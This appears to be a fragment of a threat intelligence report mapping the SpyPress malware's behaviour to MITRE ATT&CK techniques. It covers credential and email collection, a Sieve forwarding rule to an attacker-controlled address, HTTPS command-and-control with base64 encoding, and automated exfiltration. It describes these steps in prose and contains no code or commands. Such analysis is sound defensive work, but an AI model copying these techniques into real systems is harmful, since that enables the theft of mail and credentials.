T1119 Automated Collection SpyPress payloads automatically collect credentials and email messages.
T1114.002 Email Collection: Remote Email Collection SpyPress payloads collect and exfiltrate emails, from the victim’s mailbox.
T1114.003 Email Collection: Email Forwarding Rule SpyPress.MDAEMON adds a Sieve rule to forward any incoming email to an attacker-controlled email address.
Command and Control T1071.001 Application Layer Protocol: Web Protocols C&C communication is done via HTTPS.
T1071.003 Application Layer Protocol: Mail Protocols In case of email forwarding rules, the exfiltration is done via email.
T1132.001 Data Encoding: Standard Encoding Data is base64 encoded before being sent to the C&C server.
Exfiltration T1020 Automated Exfiltration SpyPress payloads automatically exfiltrate credentials and email messages to the C&C server.
T1041 Exfiltration Over C2 Channel SpyPress payloads exfiltrate data over the C&C channel.